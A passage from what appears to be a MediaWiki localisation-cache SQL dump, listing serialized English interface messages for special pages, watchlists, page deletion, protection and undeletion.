{{PLURAL:$1|byte|bytes}}\";'),('en','messages:ncategories','s:36:\"$1 {{PLURAL:$1|category|categories}}\";'),('en','messages:nlinks','s:27:\"$1 {{PLURAL:$1|link|links}}\";'),('en','messages:nmembers','s:31:\"$1 {{PLURAL:$1|member|members}}\";'),('en','messages:nrevisions','s:35:\"$1 {{PLURAL:$1|revision|revisions}}\";'),('en','messages:nviews','s:27:\"$1 {{PLURAL:$1|view|views}}\";'),('en','messages:specialpage-empty','s:37:\"There are no results for this report.\";'),('en','messages:lonelypages','s:14:\"Orphaned pages\";'),('en','messages:lonelypages-summary','s:0:\"\";'),('en','messages:lonelypagestext','s:88:\"The following pages are not linked from or transcluded into other pages in {{SITENAME}}.\";'),('en','messages:uncategorizedpages','s:19:\"Uncategorized pages\";'),('en','messages:uncategorizedpages-summary','s:0:\"\";'),('en','messages:uncategorizedcategories','s:24:\"Uncategorized categories\";'),('en','messages:uncategorizedcategories-summary','s:0:\"\";'),('en','messages:uncategorizedimages','s:19:\"Uncategorized files\";'),('en','messages:uncategorizedimages-summary','s:0:\"\";'),('en','messages:uncategorizedtemplates','s:23:\"Uncategorized templates\";'),('en','messages:uncategorizedtemplates-summary','s:0:\"\";'),('en','messages:unusedcategories','s:17:\"Unused categories\";'),('en','messages:unusedimages','s:12:\"Unused files\";'),('en','messages:popularpages','s:13:\"Popular pages\";'),('en','messages:popularpages-summary','s:0:\"\";'),('en','messages:wantedcategories','s:17:\"Wanted categories\";'),('en','messages:wantedcategories-summary','s:0:\"\";'),('en','messages:wantedpages','s:12:\"Wanted pages\";'),('en','messages:wantedpages-summary','s:0:\"\";'),('en','messages:wantedpages-badtitle','s:31:\"Invalid title in result set: $1\";'),('en','messages:wantedfiles','s:12:\"Wanted files\";'),('en','messages:wantedfiles-summary','s:0:\"\";'),('en','messages:wantedtemplates','s:16:\"Wanted templates\";'),('en','messages:wantedtemplates-summary','s:0:\"\";'),('en','messages:mostlinked','s:20:\"Most linked-to pages\";'),('en','messages:mostlinked-summary','s:0:\"\";'),('en','messages:mostlinkedcategories','s:25:\"Most linked-to categories\";'),('en','messages:mostlinkedcategories-summary','s:0:\"\";'),('en','messages:mostlinkedtemplates','s:24:\"Most linked-to templates\";'),('en','messages:mostlinkedtemplates-summary','s:0:\"\";'),('en','messages:mostcategories','s:30:\"Pages with the most categories\";'),('en','messages:mostcategories-summary','s:0:\"\";'),('en','messages:mostimages','s:20:\"Most linked-to files\";'),('en','messages:mostimages-summary','s:0:\"\";'),('en','messages:mostrevisions','s:29:\"Pages with the most revisions\";'),('en','messages:mostrevisions-summary','s:0:\"\";'),('en','messages:prefixindex','s:21:\"All pages with prefix\";'),('en','messages:prefixindex-summary','s:0:\"\";'),('en','messages:shortpages','s:11:\"Short pages\";'),('en','messages:shortpages-summary','s:0:\"\";'),('en','messages:longpages','s:10:\"Long pages\";'),('en','messages:longpages-summary','s:0:\"\";'),('en','messages:deadendpages','s:14:\"Dead-end pages\";'),('en','messages:deadendpages-summary','s:0:\"\";'),('en','messages:deadendpagestext','s:63:\"The following pages do not link to other pages in {{SITENAME}}.\";'),('en','messages:protectedpages','s:15:\"Protected pages\";'),('en','messages:protectedpages-indef','s:27:\"Indefinite protections only\";'),('en','messages:protectedpages-summary','s:0:\"\";'),('en','messages:protectedpages-cascade','s:26:\"Cascading protections only\";'),('en','messages:protectedpagestext','s:56:\"The following pages are protected from moving or editing\";'),('en','messages:protectedpagesempty','s:55:\"No pages are currently protected with these parameters.\";'),('en','messages:protectedtitles','s:16:\"Protected titles\";'),('en','messages:protectedtitles-summary','s:0:\"\";'),('en','messages:protectedtitlestext','s:48:\"The following titles are protected from creation\";'),('en','messages:protectedtitlesempty','s:56:\"No titles are currently protected with these parameters.\";'),('en','messages:listusers','s:9:\"User list\";'),('en','messages:listusers-summary','s:0:\"\";'),('en','messages:listusers-editsonly','s:26:\"Show only users with edits\";'),('en','messages:listusers-creationsort','s:21:\"Sort by creation date\";'),('en','messages:usereditcount','s:27:\"$1 {{PLURAL:$1|edit|edits}}\";'),('en','messages:usercreated','s:19:\"Created on $1 at $2\";'),('en','messages:newpages','s:9:\"New pages\";'),('en','messages:newpages-summary','s:0:\"\";'),('en','messages:newpages-username','s:9:\"Username:\";'),('en','messages:ancientpages','s:12:\"Oldest pages\";'),('en','messages:ancientpages-summary','s:0:\"\";'),('en','messages:move','s:4:\"Move\";'),('en','messages:movethispage','s:14:\"Move this page\";'),('en','messages:unusedimagestext','s:191:\"The following files exist but are not embedded in any page.\nPlease note that other web sites may link to a file with a direct URL, and so may still be listed here despite being in active use.\";'),('en','messages:unusedcategoriestext','s:89:\"The following category pages exist, although no other page or category makes use of them.\";'),('en','messages:notargettitle','s:9:\"No target\";'),('en','messages:notargettext','s:73:\"You have not specified a target page or user to perform this function on.\";'),('en','messages:nopagetitle','s:19:\"No such target page\";'),('en','messages:nopagetext','s:50:\"The target page you have specified does not exist.\";'),('en','messages:pager-newer-n','s:30:\"{{PLURAL:$1|newer 1|newer $1}}\";'),('en','messages:pager-older-n','s:30:\"{{PLURAL:$1|older 1|older $1}}\";'),('en','messages:suppress','s:9:\"Oversight\";'),('en','messages:booksources','s:12:\"Book sources\";'),('en','messages:booksources-summary','s:0:\"\";'),('en','messages:booksources-search-legend','s:23:\"Search for book sources\";'),('en','messages:booksources-isbn','s:5:\"ISBN:\";'),('en','messages:booksources-go','s:2:\"Go\";'),('en','messages:booksources-text','s:140:\"Below is a list of links to other sites that sell new and used books, and may also have further information about books you are looking for:\";'),('en','messages:booksources-invalid-isbn','s:94:\"The given ISBN does not appear to be valid; check for errors copying from the original source.\";'),('en','messages:rfcurl','s:32:\"http://tools.ietf.org/html/rfc$1\";'),('en','messages:pubmedurl','s:51:\"http://www.ncbi.nlm.nih.gov/pubmed/$1?dopt=Abstract\";'),('en','messages:specialloguserlabel','s:5:\"User:\";'),('en','messages:speciallogtitlelabel','s:6:\"Title:\";'),('en','messages:log','s:4:\"Logs\";'),('en','messages:all-logs-page','s:15:\"All public logs\";'),('en','messages:alllogstext','s:185:\"Combined display of all available logs of {{SITENAME}}.\nYou can narrow down the view by selecting a log type, the user name (case-sensitive), or the affected page (also case-sensitive).\";'),('en','messages:logempty','s:25:\"No matching items in log.\";'),('en','messages:log-title-wildcard','s:37:\"Search titles starting with this text\";'),('en','messages:allpages','s:9:\"All pages\";'),('en','messages:allpages-summary','s:0:\"\";'),('en','messages:alphaindexline','s:8:\"$1 to $2\";'),('en','messages:nextpage','s:14:\"Next page ($1)\";'),('en','messages:prevpage','s:18:\"Previous page ($1)\";'),('en','messages:allpagesfrom','s:26:\"Display pages starting at:\";'),('en','messages:allpagesto','s:24:\"Display pages ending at:\";'),('en','messages:allarticles','s:9:\"All pages\";'),('en','messages:allinnamespace','s:24:\"All pages ($1 namespace)\";'),('en','messages:allnotinnamespace','s:31:\"All pages (not in $1 namespace)\";'),('en','messages:allpagesprev','s:8:\"Previous\";'),('en','messages:allpagesnext','s:4:\"Next\";'),('en','messages:allpagessubmit','s:2:\"Go\";'),('en','messages:allpagesprefix','s:26:\"Display pages with prefix:\";'),('en','messages:allpagesbadtitle','s:149:\"The given page title was invalid or had an inter-language or inter-wiki prefix.\nIt may contain one or more characters which cannot be used in titles.\";'),('en','messages:allpages-bad-ns','s:42:\"{{SITENAME}} does not have namespace \"$1\".\";'),('en','messages:categories','s:10:\"Categories\";'),('en','messages:categories-summary','s:0:\"\";'),('en','messages:categoriespagetext','s:204:\"The following {{PLURAL:$1|category contains|categories contain}} pages or media.\n[[Special:UnusedCategories|Unused categories]] are not shown here.\nAlso see [[Special:WantedCategories|wanted categories]].\";'),('en','messages:categoriesfrom','s:31:\"Display categories starting at:\";'),('en','messages:special-categories-sort-count','s:13:\"sort by count\";'),('en','messages:special-categories-sort-abc','s:19:\"sort alphabetically\";'),('en','messages:deletedcontributions','s:26:\"Deleted user contributions\";'),('en','messages:deletedcontributions-title','s:26:\"Deleted user contributions\";'),('en','messages:sp-deletedcontributions-contribs','s:13:\"contributions\";'),('en','messages:linksearch','s:14:\"External links\";'),('en','messages:linksearch-pat','s:15:\"Search pattern:\";'),('en','messages:linksearch-ns','s:10:\"Namespace:\";'),('en','messages:linksearch-ok','s:6:\"Search\";'),('en','messages:linksearch-text','s:87:\"Wildcards such as \"*.wikipedia.org\" may be used.<br />\nSupported protocols: <tt>$1</tt>\";'),('en','messages:linksearch-line','s:20:\"$1 is linked from $2\";'),('en','messages:linksearch-error','s:55:\"Wildcards may appear only at the start of the hostname.\";'),('en','messages:listusersfrom','s:26:\"Display users starting at:\";'),('en','messages:listusers-submit','s:4:\"Show\";'),('en','messages:listusers-noresult','s:14:\"No user found.\";'),('en','messages:listusers-blocked','s:9:\"(blocked)\";'),('en','messages:activeusers','s:17:\"Active users list\";'),('en','messages:activeusers-summary','s:0:\"\";'),('en','messages:activeusers-intro','s:96:\"This is a list of users who had some kind of activity within the last $1 {{PLURAL:$1|day|days}}.\";'),('en','messages:activeusers-count','s:65:\"$1 {{PLURAL:$1|edit|edits}} in the last {{PLURAL:$3|day|$3 days}}\";'),('en','messages:activeusers-from','s:26:\"Display users starting at:\";'),('en','messages:activeusers-hidebots','s:9:\"Hide bots\";'),('en','messages:activeusers-hidesysops','s:19:\"Hide administrators\";'),('en','messages:activeusers-noresult','s:15:\"No users found.\";'),('en','messages:newuserlogpage','s:17:\"User creation log\";'),('en','messages:newuserlogpagetext','s:32:\"This is a log of user creations.\";'),('en','messages:newuserlogentry','s:0:\"\";'),('en','messages:newuserlog-byemail','s:23:\"password sent by e-mail\";'),('en','messages:newuserlog-create-entry','s:16:\"New user account\";'),('en','messages:newuserlog-create2-entry','s:22:\"created new account $1\";'),('en','messages:newuserlog-autocreate-entry','s:29:\"Account created automatically\";'),('en','messages:listgrouprights','s:17:\"User group rights\";'),('en','messages:listgrouprights-summary','s:201:\"The following is a list of user groups defined on this wiki, with their associated access rights.\nThere may be [[{{MediaWiki:Listgrouprights-helppage}}|additional information]] about individual rights.\";'),('en','messages:listgrouprights-key','s:121:\"* <span class=\"listgrouprights-granted\">Granted right</span>\n* <span class=\"listgrouprights-revoked\">Revoked right</span>\";'),('en','messages:listgrouprights-group','s:5:\"Group\";'),('en','messages:listgrouprights-rights','s:6:\"Rights\";'),('en','messages:listgrouprights-helppage','s:17:\"Help:Group rights\";'),('en','messages:listgrouprights-members','s:17:\"(list of members)\";'),('en','messages:listgrouprights-right-display','s:61:\"<span class=\"listgrouprights-granted\">$1 <tt>($2)</tt></span>\";'),('en','messages:listgrouprights-right-revoked','s:61:\"<span class=\"listgrouprights-revoked\">$1 <tt>($2)</tt></span>\";'),('en','messages:listgrouprights-addgroup','s:34:\"Add {{PLURAL:$2|group|groups}}: $1\";'),('en','messages:listgrouprights-removegroup','s:37:\"Remove {{PLURAL:$2|group|groups}}: $1\";'),('en','messages:listgrouprights-addgroup-all','s:14:\"Add all groups\";'),('en','messages:listgrouprights-removegroup-all','s:17:\"Remove all groups\";'),('en','messages:listgrouprights-addgroup-self','s:49:\"Add {{PLURAL:$2|group|groups}} to own account: $1\";'),('en','messages:listgrouprights-removegroup-self','s:54:\"Remove {{PLURAL:$2|group|groups}} from own account: $1\";'),('en','messages:listgrouprights-addgroup-self-all','s:29:\"Add all groups to own account\";'),('en','messages:listgrouprights-removegroup-self-all','s:34:\"Remove all groups from own account\";'),('en','messages:mailnologin','s:15:\"No send address\";'),('en','messages:mailnologintext','s:150:\"You must be [[Special:UserLogin|logged in]] and have a valid e-mail address in your [[Special:Preferences|preferences]] to send e-mail to other users.\";'),('en','messages:emailuser','s:16:\"E-mail this user\";'),('en','messages:emailpage','s:11:\"E-mail user\";'),('en','messages:emailpagetext','s:251:\"You can use the form below to send an e-mail message to this user.\nThe e-mail address you entered in [[Special:Preferences|your user preferences]] will appear as the \"From\" address of the e-mail, so the recipient will be able to reply directly to you.\";'),('en','messages:usermailererror','s:27:\"Mail object returned error:\";'),('en','messages:defemailsubject','s:19:\"{{SITENAME}} e-mail\";'),('en','messages:noemailtitle','s:17:\"No e-mail address\";'),('en','messages:noemailtext','s:51:\"This user has not specified a valid e-mail address.\";'),('en','messages:nowikiemailtitle','s:17:\"No e-mail allowed\";'),('en','messages:nowikiemailtext','s:60:\"This user has chosen not to receive e-mail from other users.\";'),('en','messages:email-legend','s:43:\"Send an e-mail to another {{SITENAME}} user\";'),('en','messages:emailfrom','s:5:\"From:\";'),('en','messages:emailto','s:3:\"To:\";'),('en','messages:emailsubject','s:8:\"Subject:\";'),('en','messages:emailmessage','s:8:\"Message:\";'),('en','messages:emailsend','s:4:\"Send\";'),('en','messages:emailccme','s:31:\"E-mail me a copy of my message.\";'),('en','messages:emailccsubject','s:30:\"Copy of your message to $1: $2\";'),('en','messages:emailsent','s:11:\"E-mail sent\";'),('en','messages:emailsenttext','s:34:\"Your e-mail message has been sent.\";'),('en','messages:emailuserfooter','s:79:\"This e-mail was sent by $1 to $2 by the \"E-mail user\" function at {{SITENAME}}.\";'),('en','messages:watchlist','s:12:\"My watchlist\";'),('en','messages:mywatchlist','s:12:\"My watchlist\";'),('en','messages:watchlistfor','s:14:\"(for \'\'\'$1\'\'\')\";'),('en','messages:nowatchlist','s:36:\"You have no items on your watchlist.\";'),('en','messages:watchlistanontext','s:50:\"Please $1 to view or edit items on your watchlist.\";'),('en','messages:watchnologin','s:13:\"Not logged in\";'),('en','messages:watchnologintext','s:69:\"You must be [[Special:UserLogin|logged in]] to modify your watchlist.\";'),('en','messages:addedwatch','s:18:\"Added to watchlist\";'),('en','messages:addedwatchtext','s:278:\"The page \"[[:$1]]\" has been added to your [[Special:Watchlist|watchlist]].\nFuture changes to this page and its associated talk page will be listed there, and the page will appear \'\'\'bolded\'\'\' in the [[Special:RecentChanges|list of recent changes]] to make it easier to pick out.\";'),('en','messages:removedwatch','s:22:\"Removed from watchlist\";'),('en','messages:removedwatchtext','s:78:\"The page \"[[:$1]]\" has been removed from [[Special:Watchlist|your watchlist]].\";'),('en','messages:watch','s:5:\"Watch\";'),('en','messages:watchthispage','s:15:\"Watch this page\";'),('en','messages:unwatch','s:7:\"Unwatch\";'),('en','messages:unwatchthispage','s:13:\"Stop watching\";'),('en','messages:notanarticle','s:18:\"Not a content page\";'),('en','messages:notvisiblerev','s:54:\"The last revision by a different user has been deleted\";'),('en','messages:watchnochange','s:68:\"None of your watched items were edited in the time period displayed.\";'),('en','messages:watchlist-details','s:74:\"{{PLURAL:$1|$1 page|$1 pages}} on your watchlist, not counting talk pages.\";'),('en','messages:wlheader-enotif','s:33:\"* E-mail notification is enabled.\";'),('en','messages:wlheader-showupdated','s:83:\"* Pages which have been changed since you last visited them are shown in \'\'\'bold\'\'\'\";'),('en','messages:watchmethod-recent','s:39:\"checking recent edits for watched pages\";'),('en','messages:watchmethod-list','s:39:\"checking watched pages for recent edits\";'),('en','messages:watchlistcontains','s:52:\"Your watchlist contains $1 {{PLURAL:$1|page|pages}}.\";'),('en','messages:iteminvalidname','s:39:\"Problem with item \'$1\', invalid name...\";'),('en','messages:wlnote','s:115:\"Below {{PLURAL:$1|is the last change|are the last \'\'\'$1\'\'\' changes}} in the last {{PLURAL:$2|hour|\'\'\'$2\'\'\' hours}}.\";'),('en','messages:wlshowlast','s:29:\"Show last $1 hours $2 days $3\";'),('en','messages:watchlist-options','s:17:\"Watchlist options\";'),('en','messages:watching','s:11:\"Watching...\";'),('en','messages:unwatching','s:13:\"Unwatching...\";'),('en','messages:enotif_mailer','s:32:\"{{SITENAME}} notification mailer\";'),('en','messages:enotif_reset','s:22:\"Mark all pages visited\";'),('en','messages:enotif_newpagetext','s:19:\"This is a new page.\";'),('en','messages:enotif_impersonal_salutation','s:17:\"{{SITENAME}} user\";'),('en','messages:changed','s:7:\"changed\";'),('en','messages:created','s:7:\"created\";'),('en','messages:enotif_subject','s:70:\"{{SITENAME}} page $PAGETITLE has been $CHANGEDORCREATED by $PAGEEDITOR\";'),('en','messages:enotif_lastvisited','s:45:\"See $1 for all changes since your last visit.\";'),('en','messages:enotif_lastdiff','s:27:\"See $1 to view this change.\";'),('en','messages:enotif_anon_editor','s:17:\"anonymous user $1\";'),('en','messages:enotif_body','s:745:\"Dear $WATCHINGUSERNAME,\n\n\nThe {{SITENAME}} page $PAGETITLE has been $CHANGEDORCREATED on $PAGEEDITDATE by $PAGEEDITOR, see $PAGETITLE_URL for the current revision.\n\n$NEWPAGE\n\nEditor\'s summary: $PAGESUMMARY $PAGEMINOREDIT\n\nContact the editor:\nmail: $PAGEEDITOR_EMAIL\nwiki: $PAGEEDITOR_WIKI\n\nThere will be no other notifications in case of further changes unless you visit this page.\nYou could also reset the notification flags for all your watched pages on your watchlist.\n\n             Your friendly {{SITENAME}} notification system\n\n--\nTo change your watchlist settings, visit\n{{fullurl:{{#special:Watchlist}}/edit}}\n\nTo delete the page from your watchlist, visit\n$UNWATCHURL\n\nFeedback and further assistance:\n{{fullurl:{{MediaWiki:Helppage}}}}\";'),('en','messages:deletepage','s:11:\"Delete page\";'),('en','messages:confirm','s:7:\"Confirm\";'),('en','messages:excontent','s:17:\"content was: \"$1\"\";'),('en','messages:excontentauthor','s:82:\"content was: \"$1\" (and the only contributor was \"[[Special:Contributions/$2|$2]]\")\";'),('en','messages:exbeforeblank','s:33:\"content before blanking was: \"$1\"\";'),('en','messages:exblank','s:14:\"page was empty\";'),('en','messages:delete-confirm','s:11:\"Delete \"$1\"\";'),('en','messages:delete-backlink','s:6:\"← $1\";'),('en','messages:delete-legend','s:6:\"Delete\";'),('en','messages:historywarning','s:117:\"\'\'\'Warning:\'\'\' The page you are about to delete has a history with approximately $1 {{PLURAL:$1|revision|revisions}}:\";'),('en','messages:confirmdeletetext','s:230:\"You are about to delete a page along with all of its history.\nPlease confirm that you intend to do this, that you understand the consequences, and that you are doing this in accordance with [[{{MediaWiki:Policy-url}}|the policy]].\";'),('en','messages:actioncomplete','s:15:\"Action complete\";'),('en','messages:actionfailed','s:13:\"Action failed\";'),('en','messages:deletedtext','s:80:\"\"<nowiki>$1</nowiki>\" has been deleted.\nSee $2 for a record of recent deletions.\";'),('en','messages:deletedarticle','s:16:\"deleted \"[[$1]]\"\";'),('en','messages:suppressedarticle','s:19:\"suppressed \"[[$1]]\"\";'),('en','messages:dellogpage','s:12:\"Deletion log\";'),('en','messages:dellogpagetext','s:45:\"Below is a list of the most recent deletions.\";'),('en','messages:deletionlog','s:12:\"deletion log\";'),('en','messages:reverted','s:28:\"Reverted to earlier revision\";'),('en','messages:deletecomment','s:7:\"Reason:\";'),('en','messages:deleteotherreason','s:24:\"Other/additional reason:\";'),('en','messages:deletereasonotherlist','s:12:\"Other reason\";'),('en','messages:deletereason-dropdown','s:76:\"*Common delete reasons\n** Author request\n** Copyright violation\n** Vandalism\";'),('en','messages:delete-edit-reasonlist','s:21:\"Edit deletion reasons\";'),('en','messages:delete-toobig','s:170:\"This page has a large edit history, over $1 {{PLURAL:$1|revision|revisions}}.\nDeletion of such pages has been restricted to prevent accidental disruption of {{SITENAME}}.\";'),('en','messages:delete-warning-toobig','s:160:\"This page has a large edit history, over $1 {{PLURAL:$1|revision|revisions}}.\nDeleting it may disrupt database operations of {{SITENAME}};\nproceed with caution.\";'),('en','messages:rollback','s:15:\"Roll back edits\";'),('en','messages:rollback_short','s:8:\"Rollback\";'),('en','messages:rollbacklink','s:8:\"rollback\";'),('en','messages:rollbackfailed','s:15:\"Rollback failed\";'),('en','messages:cantrollback','s:65:\"Cannot revert edit;\nlast contributor is only author of this page.\";'),('en','messages:alreadyrolled','s:352:\"Cannot rollback last edit of [[:$1]] by [[User:$2|$2]] ([[User talk:$2|talk]]{{int:pipe-separator}}[[Special:Contributions/$2|{{int:contribslink}}]]);\nsomeone else has edited or rolled back the page already.\n\nThe last edit to the page was by [[User:$3|$3]] ([[User talk:$3|talk]]{{int:pipe-separator}}[[Special:Contributions/$3|{{int:contribslink}}]]).\";'),('en','messages:editcomment','s:31:\"The edit summary was: \"\'\'$1\'\'\".\";'),('en','messages:revertpage','s:108:\"Reverted edits by [[Special:Contributions/$2|$2]] ([[User talk:$2|talk]]) to last revision by [[User:$1|$1]]\";'),('en','messages:revertpage-nouser','s:71:\"Reverted edits by (username removed) to last revision by [[User:$1|$1]]\";'),('en','messages:rollback-success','s:58:\"Reverted edits by $1;\nchanged back to last revision by $2.\";'),('en','messages:sessionfailure','s:192:\"There seems to be a problem with your login session;\nthis action has been canceled as a precaution against session hijacking.\nGo back to the previous page, reload that page and then try again.\";'),('en','messages:protectlogpage','s:14:\"Protection log\";'),('en','messages:protectlogtext','s:154:\"Below is a list of page locks and unlocks.\nSee the [[Special:ProtectedPages|protected pages list]] for the list of currently operational page protections.\";'),('en','messages:protectedarticle','s:18:\"protected \"[[$1]]\"\";'),('en','messages:modifiedarticleprotection','s:37:\"changed protection level for \"[[$1]]\"\";'),('en','messages:unprotectedarticle','s:20:\"unprotected \"[[$1]]\"\";'),('en','messages:movedarticleprotection','s:51:\"moved protection settings from \"[[$2]]\" to \"[[$1]]\"\";'),('en','messages:protect-title','s:32:\"Change protection level for \"$1\"\";'),('en','messages:prot_1movedto2','s:22:\"[[$1]] moved to [[$2]]\";'),('en','messages:protect-backlink','s:6:\"← $1\";'),('en','messages:protect-legend','s:18:\"Confirm protection\";'),('en','messages:protectcomment','s:7:\"Reason:\";'),('en','messages:protectexpiry','s:8:\"Expires:\";'),('en','messages:protect_expiry_invalid','s:23:\"Expiry time is invalid.\";'),('en','messages:protect_expiry_old','s:27:\"Expiry time is in the past.\";'),('en','messages:protect-unchain-permissions','s:30:\"Unlock further protect options\";'),('en','messages:protect-text','s:89:\"You may view and change the protection level here for the page \'\'\'<nowiki>$1</nowiki>\'\'\'.\";'),('en','messages:protect-locked-blocked','s:103:\"You cannot change protection levels while blocked.\nHere are the current settings for the page \'\'\'$1\'\'\':\";'),('en','messages:protect-locked-dblock','s:120:\"Protection levels cannot be changed due to an active database lock.\nHere are the current settings for the page \'\'\'$1\'\'\':\";'),('en','messages:protect-locked-access','s:124:\"Your account does not have permission to change page protection levels.\nHere are the current settings for the page \'\'\'$1\'\'\':\";'),('en','messages:protect-cascadeon','s:246:\"This page is currently protected because it is included in the following {{PLURAL:$1|page, which has|pages, which have}} cascading protection turned on.\nYou can change this page\'s protection level, but it will not affect the cascading protection.\";'),('en','messages:protect-default','s:15:\"Allow all users\";'),('en','messages:protect-fallback','s:23:\"Require \"$1\" permission\";'),('en','messages:protect-level-autoconfirmed','s:32:\"Block new and unregistered users\";'),('en','messages:protect-level-sysop','s:19:\"Administrators only\";'),('en','messages:protect-summary-cascade','s:9:\"cascading\";'),('en','messages:protect-expiring','s:16:\"expires $1 (UTC)\";'),('en','messages:protect-expiry-indefinite','s:10:\"indefinite\";'),('en','messages:protect-cascade','s:58:\"Protect pages included in this page (cascading protection)\";'),('en','messages:protect-cantedit','s:100:\"You cannot change the protection levels of this page, because you do not have permission to edit it.\";'),('en','messages:protect-othertime','s:11:\"Other time:\";'),('en','messages:protect-othertime-op','s:10:\"other time\";'),('en','messages:protect-existing-expiry','s:28:\"Existing expiry time: $3, $2\";'),('en','messages:protect-otherreason','s:24:\"Other/additional reason:\";'),('en','messages:protect-otherreason-op','s:12:\"Other reason\";'),('en','messages:protect-dropdown','s:127:\"*Common protection reasons\n** Excessive vandalism\n** Excessive spamming\n** Counter-productive edit warring\n** High traffic page\";'),('en','messages:protect-edit-reasonlist','s:23:\"Edit protection reasons\";'),('en','messages:protect-expiry-options','s:139:\"1 hour:1 hour,1 day:1 day,1 week:1 week,2 weeks:2 weeks,1 month:1 month,3 months:3 months,6 months:6 months,1 year:1 year,infinite:infinite\";'),('en','messages:restriction-type','s:11:\"Permission:\";'),('en','messages:restriction-level','s:18:\"Restriction level:\";'),('en','messages:minimum-size','s:8:\"Min size\";'),('en','messages:maximum-size','s:9:\"Max size:\";'),('en','messages:pagesize','s:7:\"(bytes)\";'),('en','messages:restriction-edit','s:4:\"Edit\";'),('en','messages:restriction-move','s:4:\"Move\";'),('en','messages:restriction-create','s:6:\"Create\";'),('en','messages:restriction-upload','s:6:\"Upload\";'),('en','messages:restriction-level-sysop','s:15:\"fully protected\";'),('en','messages:restriction-level-autoconfirmed','s:14:\"semi protected\";'),('en','messages:restriction-level-all','s:9:\"any level\";'),('en','messages:undelete','s:18:\"View deleted pages\";'),('en','messages:undeletepage','s:30:\"View and restore deleted pages\";'),('en','messages:undeletepagetitle','s:64:\"\'\'\'The following consists of deleted revisions of [[:$1|$1]]\'\'\'.\";'),('en','messages:viewdeletedpage','s:18:\"View deleted pages\";'),('en','messages:undeletepagetext','s:178:\"The following {{PLURAL:$1|page has been deleted but is|$1 pages have been deleted but are}} still in the archive and can be restored.\nThe archive may be periodically cleaned out.\";'),('en','messages:undelete-fieldset-title','s:17:\"Restore revisions\";'),('en','messages:undeleteextrahelp','s:300:\"To restore the page\'s entire history, leave all checkboxes deselected and click \'\'\'\'\'Restore\'\'\'\'\'.\nTo perform a selective restoration, check the boxes corresponding to the revisions to be restored, and click \'\'\'\'\'Restore\'\'\'\'\'.\nClicking \'\'\'\'\'Reset\'\'\'\'\' will clear the comment field and all checkboxes.\";'),('en','messages:undeleterevisions','s:44:\"$1 {{PLURAL:$1|revision|revisions}} archived\";'),('en','messages:undeletehistory','s:198:\"If you restore the page, all revisions will be restored to the history.\nIf a new page with the same name has been created since the deletion, the restored revisions will appear in the prior history.\";'),('en','messages:undeleterevdel','s:179:\"Undeletion will not be performed if it will result in the top page or file revision being partially deleted.\nIn such cases, you must uncheck or unhide the newest deleted revision.\";'),('en','messages:undeletehistorynoadmin','s:236:\"This page has been deleted.\nThe reason for deletion is shown in the summary below, along with details of the users who had edited this page before deletion.\nThe actual text of these deleted revisions is only available to administrators.\";'),('en','messages:undelete-revision','s:47:\"Deleted revision of $1 (as of $4, at $5) by $3:\";'),('en','messages:undeleterevision-missing','s:121:\"Invalid or missing revision.\nYou may have a bad link, or the revision may have been restored or removed from the archive.\";'),('en','messages:undelete-nodiff','s:27:\"No previous revision found.\";'),('en','messages:undeletebtn','s:7:\"Restore\";'),('en','messages:undeletelink','s:12:\"view/restore\";'),('en','messages:undeleteviewlink','s:4:\"view\";'),('en','messages:undeletereset','s:5:\"Reset\";'),('en','messages:undeleteinvert','s:16:\"Invert selection\";'),('en','messages:undeletecomment','s:7:\"Reason:\";'),('en','messages:undeletedarticle','s:17:\"restored \"[[$1]]\"\";'),('en','messages:undeletedrevisions','s:46:\"{{PLURAL:$1|1 revision|$1 revisions}} restored\";'),('en','messages:undeletedrevisions-files','s:80:\"{{PLURAL:$1|1 revision|$1 revisions}} and {{PLURAL:$2|1 file|$2 files}} restored\";'),('en','messages:undeletedfiles','s:38:\"{{PLURAL:$1|1 file|$1 files}} restored\";'),('en','messages:cannotundelete','s:64:\"Undelete failed;\nsomeone else may have undeleted the page first.\";'),('en','messages:undeletedpage','s:126:\"\'\'\'$1 has been restored\'\'\'\n\nConsult the [[Special:Log/delete|deletion log]] for a record of recent deletions and restorations.\";'),('en','messages:undelete-header','s:71:\"See [[Special:Log/delete|the deletion log]] for recently deleted pages.\";'),('en','messages:undelete-search-box','s:20:\"Search deleted pages\";'),('en','messages:undelete-search-prefix','s:25:\"Show pages starting with:\";'),('en','messages:undelete-search-submit','s:6:\"Search\";'),('en','messages:undelete-no-results','s:48:\"No matching pages found in the deletion archive.\";'),('en','messages:undelete-filename-mismatch','s:66:\"Cannot undelete file revision with timestamp $1: filename mismatch\";'),('en','messages:undelete-bad-store-key','s:82:\"Cannot undelete file revision with timestamp $1: file was missing before deletion.\";'),('en','messages:undelete-cleanup-error','s:40:\"Error deleting unused archive file \"$1\".\";'),('en','messages:undelete-missing-filearchive','s:107:\"Unable to restore file archive ID $1 because it is not in the database.\nIt may have already been undeleted.\";'),('en','messages:undelete-error-short','s:25:\"Error undeleting file: $1\";'),('en','messages:undelete-error-long','s:54:\"Errors were encountered while undeleting the file:\n\n$1\";'),('en','messages:undelete-show-file-confirm','s:99:\"Are you sure you want to view the deleted revision of the file \"<nowiki>$1</nowiki>\" from $2 at $3?\";'),('en','messages:undelete-show-file-submit','s:3:\"Yes\";'),('en','messages:namespace','s:10:\"Namespace:\";'),('en','messages:invert','s:16:\"Invert selection\";'),('en','messages:blanknamespace','s:6:\"(Main)\";'),('en','messages:contributions','s:18:\"User contributions\";'),('en','messages:contributions-title','s:25:\"User contributions for $1\";'),('en','messages:mycontris','s:16:\"My contributions\";'),('en','messages:contribsub2','s:11:\"For $1 ($2)\";'),('en','messages:nocontribs','s:46:\"No changes were found matching these criteria.\";'),('en','messages:uctop','s:5:\"(top)\";'),('en','messages:month','s:25:\"From month (and earlier):\";'),('en','messages:year','s:24:\"From year (and earlier):\";'),('en','messages:sp-contributions-newbies','s:39:\"Show contributions of new accounts only\";'),('en','messages:sp-contributions-newbies-sub','s:16:\"For new accounts\";'),('en','messages:sp-contributions-newbies-title','s:35:\"User contributions for new accounts\";'),('en','messages:sp-contributions-blocklog','s:9:\"block log\";'),('en','messages:sp-contributions-deleted','s:26:\"deleted user contributions\";'),('en','messages:sp-contributions-logs','s:4:\"logs\";'),('en','messages:sp-contributions-talk','s:4:\"talk\";'),('en','messages:sp-contributions-userrights','s:22:\"user rights management\";'),('en','messages:sp-contributions-blocked-notice','s:91:\"This user is currently blocked.\nThe latest block log entry is provided below for reference:\";'),('en','messages:sp-contributions-search','s:24:\"Search for contributions\";'),('en','messages:sp-contributions-username','s:23:\"IP address or 